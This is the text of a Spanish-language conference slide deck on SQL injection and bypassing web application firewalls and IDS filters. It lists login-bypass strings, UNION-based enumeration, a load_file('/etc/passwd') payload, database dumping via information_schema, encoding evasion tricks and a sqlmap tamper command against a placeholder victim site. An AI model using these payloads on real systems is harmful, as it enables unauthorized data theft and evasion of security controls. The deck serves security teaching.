41
SQL Injection Intrusión a Bases de datos Ponente: Rafael Gómez Del Ángel Aka NoSfEr@tU

Intrucion a bases de datos

Embed Size (px)

DESCRIPTION

Diapositivas de la conferencia de inyecciones sql y evacion de Web Application Firewall

Citation preview

Page 1: Intrucion a bases de datos

SQL Injection Intrusión a Bases de datos

Ponente: Rafael Gómez Del ÁngelAka NoSfEr@tU

Page 2: Intrucion a bases de datos

Temas que trataremos.Identificación de la

vulnerabilidad

Detección de errores

Estructura de una inyección SQL

Bypass Loggin

Obtención de Datos

Evasión de Firewall

Page 3: Intrucion a bases de datos

Sql Injection SQLI

Es una vulnerabilidad catalogada de alto riesgo, por su gran capacidad de interactuar firmemente con la base de datos del servidor vulnerable, Actual mente el 80 % de las aplicaciones en internet son vulnerables SQLI

Esta se debe a un pésimo filtrado de las variables de entrada a la base de datos de una aplicación, esta vulnerabilidad se explotara al momento de insertar código SQL arbitrariamente en los campos mal filtrados.

Page 4: Intrucion a bases de datos

Lo que NO se debe de hacer al desarrollar

El usuario y el password pasan sin ningún filtro directamente a la consulta de la base de datos.

$usuario= $_POST[‘nombre’];$password=$_POST[‘pass’];$sql= “SELECT * FROM usuarios WHERE usuario=‘$usuario’ AND password=‘$password’”;

Page 5: Intrucion a bases de datos

SQLILa comilla MAGICA.

El uso de las comillas simples antes de realizar una inyección son totalmente importantes pues nos ayudan a identificar si el sistema es vulnerable o no, ya que al insertarla en un parámetro la respuesta por parte del servidor será un error de sintaxis SQL.

Page 6: Intrucion a bases de datos

Los strings en sql son delimitados por comillas simples (‘)

SQLILa comilla MAGICA.

Page 7: Intrucion a bases de datos

SQLILa comilla MAGICA.

http://www.victima.com/seguridad/consultas.php?id=989%27

?id=989 --------------- parámetro vulnerable%27 -------------------- comilla simple en Hexadecimal

Page 8: Intrucion a bases de datos

SQLIDetección de errores

http://www.victima.com/consultas.php?id=9’

http://www.victima.com/consultas.php?id=9’’)’’

http://www.victima.com/consultas.php?id=9*/*

http://www.victima.com/consultas.php?id=9/*

http://www.victima.com/consultas.php?id=9--

http://www.victima.com/consultas.php?id=9’’--

http://www.victima.com/consultas.php?id=9’’

http://www.victima.com/consultas.php?id=9#

‘‘’)’’*/*/*--‘’- -’’#

Page 9: Intrucion a bases de datos

Bypass Loggin

Page 10: Intrucion a bases de datos

Bypass LogginSentencia “OR”

Para pasarnos un loggin Se utiliza la sentencia OR ya que esta significa que si algo es verdadero entonces todo será verdadero OR 1=1 . Esto provocará que automáticamente toda la consulta sea verdadera, sea cual sea el usuario.

1.- V or V = VERDADERO-------------------- ‘’OR 1=1 /* ‘2.- V or F = VERDADERO-------------------- “OR 1=0 /* ‘3.- F or V = VERDADERO-------------------- “OR 0=1 /* ‘4.- F or F = FALSO----------------------------- “OR 0=0 /* ’

Page 11: Intrucion a bases de datos

Bypass LogginSentencia “OR”

admin’ - - admin’ # admin ‘ /* ‘ or 1=1- - ‘ or 1=1# ‘ or 1=0/* ‘) or 1=0 ‘1’=‘1- - ‘) or 1=1 (‘1’=‘1 - - ‘) */ 1=0 #

Page 12: Intrucion a bases de datos

SQLIObtención de columns

Index.php?id=18+union+all+select+,1,2,3,4,5,6,7—

Ocurrió un error al intentar consultar la BD

Index.php?id=18+union+all+select+,1,2,3,4,5,6,7,8—

Ocurrió un error al intentar consultar la BDThe used SELECT statements have a different number of columns

Page 13: Intrucion a bases de datos

SQLIOtra forma

Victima.php?id=-1 ORDER BY 1/*Victima.php?id=-1 ORDER BY 2/*Victima.php?id=-1 ORDER BY 3/*Victima.php?id=-1 ORDER BY 4/*Victima.php?id=-1 ORDER BY 5/*Victima.php?id=-1 ORDER BY 6/*Victima.php?id=-1 ORDER BY 7/* ----------- Error

Page 14: Intrucion a bases de datos

SQLIPrint de columnas

victima.php?id=-1+union+all+select+1,2,3,4,5--

Page 15: Intrucion a bases de datos

SQLIload_file(‘/etc/passwd’)--

victima.php?id=-1+union+all+select+1,2,3,4,load_file('/etc/passwd')--

Page 16: Intrucion a bases de datos

Y el antivirus CLAMAV ni sus luces

Page 17: Intrucion a bases de datos

SQLIAlgunos comandos

version() versión de MySQLdatabase() nombre de la BDcurrent_user() usuario y host last_insert_id() ultimo valor de columna AUTO_INCREMENTconnection_id() ID de una conexión @@datadir directorio de la db

Page 18: Intrucion a bases de datos

SQLIINFORMATION_SCHEMA

Y obtención de datos

Proporciona acceso a los metadatos de la base de datos. El diccionario de datos o catalogo del sistema.

Page 19: Intrucion a bases de datos

INFORMATION_SCHEMA

INFORMATION_SCHEMA.SCHEMATA

SCHEMATA--------------------------------Información acerca de la DBTABLES-------------------------------------Proporciona información de las tablasCOLUMNS----------------------------------Información de columnasSTATISTICS--------------------------------Índices de tablasCOLUMN_PRIVILEGES-----------------Permisos de tablas

1+union+all+select+1,table_name,3,4,5+from+information_schema.tables

Page 20: Intrucion a bases de datos

Obtención de tablas+limit+1,1--

Page 21: Intrucion a bases de datos

ColumnasColum_name

Una vez obtenido el nombre de la tabla, se realiza la petición para ver su contenido.

Page 22: Intrucion a bases de datos

Obtención de datos group_concat()

Se concatena el las variables obtenidas anteriormente, separadas por 0x3a para apreciar mejor el resultado.

Page 23: Intrucion a bases de datos

Obtención de información

Page 24: Intrucion a bases de datos

OBJETIVOMostrar el ataque de inyección SQL y el dumpeo de la BD. en un ambiente controlado.

Video de una inyección SQL

Page 25: Intrucion a bases de datos

¿ Como funciona el IDS e IPS ?

Page 26: Intrucion a bases de datos

Evasión de IDS

Page 27: Intrucion a bases de datos

El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.

Page 28: Intrucion a bases de datos

Video de una evasión realizada a mano

OBJETIVOMostrar la evasión de phpids

Page 29: Intrucion a bases de datos

¿ Programas?

Page 30: Intrucion a bases de datos

El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.

Char encodeURL Encode

3-------------------------- %334-------------------------- %345-------------------------- %356-------------------------- %36A --------------------------%41B --------------------------%42 C --------------------------%43

Útil para evadir detección de palabras

Page 31: Intrucion a bases de datos

El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.

Char-doble encode

Cifra en Hexadecimal, útil cuando la aplicación emplea Url encode

Page 32: Intrucion a bases de datos

El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.

Char-unicode encode

Cifrando con el estándar Unicode

Page 33: Intrucion a bases de datos

El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.

Space 2 more hash

remplaza los espacios en la petición por %23randomText%0A, y después es cifrado con URL encode

Page 34: Intrucion a bases de datos

El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.

Space 2 mssql blank

Cifra con un random de caracteres en los espacios.

Page 35: Intrucion a bases de datos

OBJETIVOMostrar la evasión de un WAF , mediante inyección a mano.

Prueba de concepto

Page 36: Intrucion a bases de datos

¿ Con que comando?

./sqlmap.py -u http://www.victima.com/id.php?id=1 -u --tamper "space2morehash.py“--dbms

Page 37: Intrucion a bases de datos

Llegando a una conclusion

Page 38: Intrucion a bases de datos

El resultado.

Page 39: Intrucion a bases de datos
Page 40: Intrucion a bases de datos

Base de datos

Page 41: Intrucion a bases de datos

Gracias !!!

Ponente: Rafael Gómez Del ÁngelAka NoSfEr@tU

@NosferatuHacknosferatuhack.blogspot.mx

¿Dudas?

¿Dudas?